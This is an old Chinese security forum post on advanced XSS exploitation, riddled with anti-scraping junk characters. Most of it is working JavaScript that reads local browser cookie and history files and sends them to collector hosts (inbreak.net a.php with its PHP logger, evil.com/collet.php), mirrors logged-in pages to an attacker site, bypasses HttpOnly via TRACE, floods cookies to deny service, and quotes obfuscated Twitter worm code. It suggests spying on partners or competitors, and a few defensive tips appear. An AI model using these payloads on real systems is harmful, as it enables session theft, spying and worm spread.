XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
* g1 Q$ \5 N1 [本帖最后由 racle 于 2009-5-30 09:19 编辑
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" e* F: |8 c4 Y6 v& nXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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http://bbs.tian6.com/thread-12711-1-1.html6 p. I3 V! v% O! G( A# w8 x7 Q( C
转帖请保留版权$ X' _- E# [+ l# Y% C0 w2 s" Q
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1 K8 [/ \ o8 `-------------------------------------------前言---------------------------------------------------------! ~# l6 ?* }7 K$ e
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- `8 {1 p; {$ H* C5 {4 N' Z- S本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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3 | Q! p: u+ P如果你还未具备基础XSS知识,以下几个文章建议拜读:6 E* G# {$ s4 M& i! k7 o
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
5 P& v& ^3 J, v* [8 I" F6 hhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全' X- R& m8 S R- D/ _' `3 m6 g3 N
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过# C3 g) K+ B4 ~9 `+ T- j) y* F8 Y2 v
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
+ o9 k: {4 r& J# j$ whttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
( L. C& X1 a/ @9 Vhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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1 L; m$ v7 Z3 D- ~4 K如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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9 |7 u, A7 M& f2 t+ k/ u希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.2 P- p3 Z% ]4 n# a
. j( D3 S: w- x- G, i* A如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,) F i- H6 }5 G) S( u
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大 I; x9 e+ n1 |% p. u( a. a
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪- i5 L* Q4 A2 d/ |
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% m% U4 u' ^9 w' J w复制代码------------------------------------------介绍-------------------------------------------------------------
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1 a i9 n8 i2 \7 z7 O& `什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.) d5 j, F, t$ B; q& w* u! B0 e7 y; E
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
+ W4 F. @, I9 D: b; f我们在这里重点探讨以下几个问题:/ j3 m# W5 z) `% ]
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1 通过XSS,我们能实现什么?; Q( N7 Y, H6 B* N" w
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?# X3 U5 v4 u+ h
4 o$ H( _( r% E l% v, N Z1 B! k3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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4 XSS漏洞在输出和输入两个方面怎么才能避免.4 r- t9 R5 t9 d7 W1 Y1 d& }
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------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.4 |' x; k4 E$ A" \: K! c& a( k; t
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫8 w; {% [( m/ m
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
) t3 n4 [5 l' X- x6 {1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
6 I/ ]& S: l0 ~9 X" H" ?( M; Y% g2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.& c9 E( o: r# _3 Y7 a
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.4 g" @3 ^- q. t' c# d
4:Http-only可以采用作为COOKIES保护方式之一.
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' c+ U( l" H% M9 [8 @$ F(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)2 r: @/ F1 u, K
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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. v* I: K- C9 t" w0 ^+ B2 l 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。8 m0 l* s, {. c
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8 P1 A$ M( k1 P7 ^, {% X 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.! \9 M4 ~% ?1 [8 o0 c, z
复制代码IE6使用ajax读取本地文件 <script>$ n3 x2 I3 |0 g& g; z. S5 G- C5 Q
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var request = false;
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if(window.XMLHttpRequest) {
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} else if(window.ActiveXObject) {# e9 B9 f7 B7 p' E3 x9 P; V
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
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}
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}
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var _x = ajax_obj();( j. G' A1 v& u, Q' W0 W
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function _7or3(_m,action,argv){
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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alert(txt);
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复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>; d( g% q% z) k7 l: p. n. k
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function $(x){return document.getElementById(x)}
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function ajax_obj(){
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var request = false;* M( q7 y# v: J) F( W0 k# N
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();
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1 J8 c# n+ B: T# ~3 ?/ e var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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try {- I4 `0 I/ l' l
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request = new ActiveXObject(versions);
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} catch(e) {}1 l& @9 u5 e) S, w7 G
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return request;& l" {& q7 b7 Q l! t* C( T$ S4 [
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var _x = ajax_obj();) `# i2 S) I* z* R; A( n( \
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function _7or3(_m,action,argv){( @$ I8 p/ y+ r
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_x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");& A6 ?- R1 l/ e' G2 a
0 T/ N2 O8 m+ ` _x.send(argv); ^+ r& Q8 q& V. V2 G1 ^! v
" {4 N' U7 f R1 P* D5 m5 d return _x.responseText;8 S9 u+ ?/ C/ I8 I! M6 x
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alert(txt);" G; ~6 ?6 v. I/ [6 d8 C: M
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复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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9 ^0 \ a4 c" F4 `" H' tChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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Chrome 1.0.154.53 use ajax read local txt file and upload exp 2 S7 d5 c4 Q% H' H+ ]- i# N
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! W) B1 w2 {" p) g& [9 d+ M. R author voidloafer@gmail.com 2009-4-22 - Y- s$ t" i7 y/ J
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. ' {# b2 M4 W, O' x$ k6 y
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*/
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) J3 u8 D8 Z. l$ \& n1 D; R% ]header("Content-Disposition: attachment;filename=kxlzx.htm"); N! k$ V3 W7 ] q# B3 `- s2 C& x
$ t# r( W: Q. mheader("Content-type: application/kxlzx"); ' n* }5 ^6 {, w
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set header, so just download html file,and open it at local. - g( H3 e4 K. f$ p7 W4 B4 r
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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6 ^) H) |5 l, W' h <input id="input" name="cookie" value="" type="hidden"> - o1 M6 V" i# |& ~/ x+ e! w; [
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</form>
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<script>
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4 k. y# G9 T4 | v' Kfunction doMyAjax(user)
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var time = Math.random(); , Z& e: Q) h+ \% _
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default , i$ ?& Y' I9 e5 Q C1 J
+ | M/ ^7 Y3 { l9 ^: W$ _and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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and so on...
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; I/ [5 G) r6 H/ q: S4 |$ X" Y4 {var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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" W0 T% l; s2 K% c8 `8 Y0 M/ QstartRequest(strPer); * \+ d* T7 Z7 X" `8 \* W
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function Enshellcode(txt)
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o. q% f$ _3 f9 g9 g{
& I. h/ ~6 T4 S9 D$ p0 ~
/ z' D J% R+ a) @& K5 l3 O Jvar url=new String(txt);
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var i=0,l=0,k=0,curl="";
B: [5 _7 j# I
6 q' Y6 K P$ q! [0 J1 Xl= url.length;
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4 J/ P: `+ C5 d* n0 w' d& zfor(;i<l;i++){
! ]! k* a/ }, `0 }/ b/ I) m/ p5 @$ Z w. H% m
k=url.charCodeAt(i);
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4 ^3 Q) f' Y1 @- y S9 Hif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} . O; D0 ~. H! W! a% f+ I
' P& c- s. f9 {: ^% C6 u5 Jif (l%2){curl+="00";}else{curl+="0000";}
- S* ~! B+ t! x' y9 J* _0 M7 }0 I8 _' h4 Y
curl=curl.replace(/(..)(..)/g,"%u$2$1"); ; y" ]$ U4 f# E! T- x$ u' x
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return curl; T9 [( {) w) ?% S; f- l5 O6 R/ ]
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}
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9 m* ^4 d: t" G9 F; yvar xmlHttp;
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4 J" O( J5 C2 F6 Z7 v. X6 Ffunction createXMLHttp(){
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if(window.XMLHttpRequest){
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xmlHttp = new XMLHttpRequest(); $ z- h( S. Q, Y8 `
! e# D. V2 y) g$ o- l1 r8 v1 e }
1 b: I- [. v: b l0 Q. h
4 y( l: U% w. ^. k/ A/ b5 R else if(window.ActiveXObject){
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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}
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, y) @! _8 i& P8 C7 o# `# H2 hfunction startRequest(doUrl){
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& {& ^! m5 t7 K d createXMLHttp();
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) s( c7 o; S: Y6 H% Y1 k5 b xmlHttp.onreadystatechange = handleStateChange;
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4 G3 t- S u7 v; c$ R/ X xmlHttp.open("GET", doUrl, true);
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5 Z- Z! w& R3 S# R' d xmlHttp.send(null); # B! B" N8 R9 Q/ ]
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} ) f* V! G8 `% j
4 e( q' N' r+ {$ J R; A0 F2 E
# F! [/ D; r2 ] I
! S! e5 T7 Z# `function handleStateChange(){ f& O5 `6 O, t" Q' |
. O: w, o& `2 `6 M$ Q0 E9 U if (xmlHttp.readyState == 4 ){ ' L# w _) N" @) t' W: E2 @
+ Y8 f( Z" N$ b8 u) {! `& p
var strResponse = ""; & ]$ i8 x+ {0 k# f
r/ H1 c& A3 v1 x; {
setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); / B o! S0 w/ e: S9 n3 C# Z
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9 o) W# _7 Q( e) }" d# ^: [* {
7 p4 R# E/ v O/ }' P/ x
^; m( n: u4 ?0 hfunction framekxlzxPost(text) " |2 }% Q. v9 a0 f
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document.getElementById("input").value = Enshellcode(text);
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- t, Y, ^" V! E3 p document.getElementById("form").submit(); % e. ?* Z5 G2 I: i1 X6 y4 p7 [
; |* D0 x! q+ P/ f6 C: B5 X}
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9 R8 P: E8 `6 D7 d# R/ O1 adoMyAjax("administrator");
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$ [/ J* I6 ^1 }) }' T7 W3 ^& s1 S# d' m1 _* r
</script>
2 o% r; a+ O$ |% [1 b# K复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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var xmlHttp;
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# n4 S) ^/ \% U& f. x+ k9 mfunction createXMLHttp(){
Z$ {7 E5 I1 K8 e G7 N( @; f9 ]* d; ~
if(window.XMLHttpRequest){ $ N6 ]& y6 P, W8 ~" C
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xmlHttp = new XMLHttpRequest(); * \1 I9 r' e$ A6 N! ~5 |& J
+ ~9 L2 s. y8 o! e- |$ Y' Q }
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else if(window.ActiveXObject){
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( P: z( R' H2 b2 f xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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; z$ l3 o9 r" t4 j9 e }
5 _; I8 ], g( H6 v. E" }. X9 }; m! h/ z) i/ h$ g
} ( y5 T v' x6 n) C+ I
% @! T5 L5 M4 b
! p, C, ?+ N) h3 u! ]5 _( E, ?
] n; T/ ^* }7 L7 s7 kfunction startRequest(doUrl){
. {- }, N6 E) a. P+ q9 C# c5 S+ p6 p$ q+ d6 u) _! s! H
" R) b2 A0 f" D7 m
/ Q0 F6 R6 m- w" N3 } createXMLHttp(); 0 ^( h1 \3 {- H( p: n
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( L1 {" B, _! k/ E/ H: G8 d xmlHttp.onreadystatechange = handleStateChange;
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" l/ C& }6 s, C xmlHttp.open("GET", doUrl, true);
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7 i2 l/ ^6 `4 f- o% w' |3 Q xmlHttp.send(null); % G; o- w" m- l$ |% S
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* i; e F3 J0 F( | M}
F0 L7 c9 z! n d- |/ r
+ O( F2 \1 `4 j- T; L 4 A' P1 ~% K/ w2 `6 j
+ {' @0 v# f; t3 c8 f" u! v+ R+ X
function handleStateChange(){ 7 ~7 I0 r+ k G* T
$ r8 y% f- N5 z2 g0 M if (xmlHttp.readyState == 4 ){
6 w8 |1 d, ~5 n" N& a
4 \* w4 i0 w$ U I var strResponse = ""; - E; G/ e# Z8 H9 @( M, g+ s
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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1 k0 U% t1 @% w1 b( a( @+ A) j1 I2 P) { \" [
}
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function doMyAjax(user,file)
$ V2 W: v+ i5 I3 m2 o* }5 @$ ^% _8 r, j
{
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var time = Math.random();
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. _* p3 P& r4 ?
9 x6 }1 Q; y% j2 _- T var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; / Y9 u: G. C: P9 F) G4 Z& M9 B
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7 j7 r# k6 Z% S9 c startRequest(strPer); 0 q" T( V+ @& _. Q, H
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/ @4 e0 V4 P: M
}
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function framekxlzxPost(text) 3 W+ d9 w8 G& r6 C$ @
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{
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document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); 5 Q, c2 r* a- y$ N( x+ k& H" B9 ?
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alert(/ok/);
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% ?/ g$ H4 [" ^4 x, q
4 G3 e) n# J8 }doMyAjax('administrator','administrator@alibaba[1].txt'); - S6 o$ e& U, ~! i, y4 D% z
& J. B1 W& I; H3 K. G% M
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) W& R1 g) A/ n, T3 O- J</script>
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{, S: \) x0 z* {9 d0 h$ [1 N4 ^& t# u% G8 F
* w8 [7 w6 `3 A R5 o8 l
7 s E) e, @% v8 ~# ^a.php
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<?php % O! Y# c* z# d& K4 o a% z
' h: Z4 [" m8 M9 K
2 r, R( R* m8 ?( S) H( C- i
7 v' G7 X# W+ f7 A; u0 c$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
6 G1 x& n- q9 {9 ^' K' m# l
# z# d: }+ \5 s4 Y1 \$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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* m6 B4 z3 M" J6 m7 F
1 h5 ~% N p' g) y6 M$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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; f; f6 h. H6 B3 N+ y$ w# H5 ^. k! }# Lfwrite($fp,$_GET["cookie"]);
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fclose($fp);
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?> $ k7 [, t3 V4 Q
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用. {5 B6 i% m' |* ?& j+ G" y
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.. T0 ^/ k- ~3 p& {! R2 q% g8 F0 x
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);% |; c7 Y' s) v4 G
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//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);& \# H# X% h# O9 [$ @. t; j
' Y# d6 }; Q% Q9 A4 n! s//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);' N! _' e9 s" S [0 y
0 ?( g8 j7 O; Z& z; a
function getURL(s) {
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; u& L! }7 l3 N4 c: v2 Ovar image = new Image();
$ l: M4 ^3 p# G1 C/ ^/ T
D1 @& f* s5 c: pimage.style.width = 0;
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; J: F- n) c4 n' `image.style.height = 0;$ v- r' _4 P) q& x; r" q. ]+ p( H
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image.src = s;. I7 j+ `7 U( T! t$ [5 F
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getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
3 R+ v% s1 C2 A复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
' k& s# s" y7 o这里引用大风的一段简单代码:<script language="javascript">
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" d) d! J) a9 W4 m" w, w4 t6 Pvar metastr = "AAAAAAAAAA"; // 10 A' x1 ?( n0 t7 C8 p1 g9 l
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var str = "";
% T, }, x/ Q9 i6 b6 A& W, L, u# B$ k6 y9 l: e
while (str.length < 4000){0 E) o' }- m* _$ n1 ^
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str += metastr; V, {7 h0 p# a4 H- p
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document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html9 n7 y1 O1 b3 y7 b. I( D1 i- `8 ?7 d
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
+ x+ |8 ?7 w: f% T8 ~2 H/ `server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150' X8 g; S, i+ \7 q5 t5 R9 v
% O" T5 p, i. _假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
* m- ]2 R* A) _9 C- h9 o- Z: O: f攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.5 A2 o: b E1 ~, u; t% T
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(III) Http only bypass 与 补救对策:% U& u- u& k- t! i3 b
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什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.( c* e# N5 k. a5 A/ h
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
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# o4 z' R* ^$ R<!--
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function normalCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly"; + O' J/ |$ ?% ? e6 D+ G0 z
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alert(document.cookie);" y0 G- _2 }5 A# c. O( n$ l" c
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9 [7 V: N( o' o9 ? P/ V+ H) a1 b+ r1 L7 Z
* S' O1 |/ A% v! x: K4 L( D, x: u* {function httpOnlyCookie() {
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document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; 1 R- J3 D6 d# s+ Q5 a
8 q' V) T8 }+ V* z d- Dalert(document.cookie);}1 N8 m: p( ^0 V) U- q; `( ]
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0 P9 Y" V0 Z. ^1 |4 b/ f//-->
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9 J" B8 m* l1 \2 j* G5 O</script>
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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>; W; H6 l7 v' L$ S) F& C0 S
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<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>, \0 T$ z* c" q) m# q2 @% V p
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
4 q i# W4 I" M4 y8 i% R4 U3 k; |
8 U1 w! ^1 L: L; I1 N; |, {( g9 Z, I- p& M
5 o: ^# h7 T2 W2 u9 r( b' svar request = false;
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if(window.XMLHttpRequest) {: K( V6 j9 ]5 |$ d Q7 F. O8 X% D
( w# z# k9 B c- x- u4 r request = new XMLHttpRequest();( l0 G* t( P7 E* W4 t: K: w
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if(request.overrideMimeType) {
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request.overrideMimeType('text/xml');
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6 t: }0 o5 s! k# g9 Y } else if(window.ActiveXObject) {
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: B# B. r5 L# |; u4 c var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];% d4 x5 |5 K) `, [9 g
! }6 N4 V0 P' ^; t4 }1 i( I3 k e
for(var i=0; i<versions.length; i++) {
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3 x5 Z8 V1 I, }! N: G8 w h3 g try {
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request = new ActiveXObject(versions);
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} catch(e) {}
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Q- [: z" g- k1 H) D9 P" L }* n" l% V& z2 a1 v2 h# F
' t# ?, E0 m5 }, O }3 s* t4 U: R8 A# t; \2 E
8 l, R5 U$ Z1 b5 J1 qxmlHttp=request;+ q' b- `( c& v- ]5 d# A& }
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xmlHttp.open("TRACE","http://www.vul.com",false);/ ]) I) L' j! I- k" Y+ S, X
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xmlHttp.send(null);2 t L$ j7 K1 E
: Y {2 _9 K+ I& F3 C2 t# I ExmlDoc=xmlHttp.responseText;2 X3 Q3 j2 D5 h/ @, G/ A6 ]
( Q* |7 t: O) m) _# g. malert(xmlDoc);
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+ C5 e( f% u) I- O: X; g a# M- {</script>& r s+ ] r9 J* @1 R
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>2 v3 D+ ]8 |$ i$ Y
+ R G' C3 c( t9 f
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");" J& l0 {+ z! j( [& }9 p8 W3 f
& W `/ t. i" b. O9 @' k
XmlHttp.open("GET","http://www.google.com",false);
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8 d0 x# y, O3 P' Q/ ]XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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! x9 U s1 d0 u( h/ |$ I3 u% l& q/ ~XmlHttp.send(null);
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var resource=xmlHttp.responseText
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resource.search(/cookies/);5 N+ x5 X7 ?6 \6 G4 Q
8 b: K" ]2 E8 @ O9 y# Y' r5 P! {' g
......................6 T* V5 b$ u* ^5 T& z. P2 S4 S
4 B! d( ]1 C# n6 i</script>
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3 i' B: g. e# Y; X1 a: |2 A
( L ^" [" U8 R+ \1 F1 n
; U/ Z" J' x2 t& ~1 L如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
$ B1 h! J" t- E$ p4 N) i
* J! Y+ l0 v2 e" g" b0 I1 S[code]6 `% Q2 r7 S- Y
- [3 E5 Y1 M" {1 Z' z( W
RewriteEngine On
2 w$ q: O( @( ~! E: x
: w8 d, k! N! s+ VRewriteCond %{REQUEST_METHOD} ^TRACE
9 ` _7 H' | L4 A
4 E3 ^/ R- z" m5 S {) e% N1 b6 J5 ?RewriteRule .* - [F]
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2 m% Q4 @7 [) _
. P3 L, ~2 Z9 x6 e9 j( hSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
# r( P1 h9 N- e% \ L9 J4 g" Q: J" P. x& m
acl TRACE method TRACE- K7 y. d3 D$ g1 h
A+ r1 ]; v' g8 N7 A$ V...
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http_access deny TRACE
; y) Q0 Q0 _4 a+ }$ c复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>% F- k8 |3 J7 N: g) n
6 e0 y" b. a+ h$ _8 z* r( Q9 Mvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
0 c* y! ~- A4 P4 X7 Z9 b" }. N: s( d' W' c/ c6 i' g5 n
XmlHttp.open("GET","http://www.google.com",false);8 X9 E2 F$ \" d R
7 a1 i- {7 a3 j) m0 J: m$ ~0 p( gXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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- T6 j" H, Z2 I1 g4 CXmlHttp.send(null);0 j- ~, P/ f* `" Y d; l6 O
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</script>% H% C# y4 [( Y2 ^
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");( [: p/ f: ^, B' X2 {
) c* W! ?3 k% w0 {& \! [ k0 h
L* F- r: R) z3 I3 Z% m! M
* n4 x3 x ?6 Y4 p+ g* X. J2 SXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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f1 M+ }" ~( L. Z2 u' I- Z! JXmlHttp.send(null);/ j+ K- C2 D; u1 `
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<script> M9 b. D9 K2 L
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.1 z. u: Y2 Q+ a; M# e D4 [9 j
复制代码案例:Twitter 蠕蟲五度發威
1 I1 ^5 R+ C. Q+ M1 Q4 C1 U1 W' k, ?% |第一版:
% t4 S2 a; h7 E5 j. v: c, Q d. H7 o 下载 (5.1 KB)
+ | A4 e# H( v! }* m! n
9 K" e% ?$ [' j# e& A. w6 天前 08:27 f" H, f6 J9 V8 C t
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; 1 M4 B$ h, k* {/ L0 d
9 B( n0 F1 w K. W! u 2.
2 {4 x0 h @( V6 {4 R' O1 I
$ b" c7 f, E5 v 3. function XHConn(){ 7 P6 o u# C; Y2 `6 v' { a. D
, ^# v2 F& ]4 V$ o 4. var _0x6687x2,_0x6687x3=false;
6 Z: D- \& d' i( r: e7 C- ^* O3 [7 f8 J( i# n& I
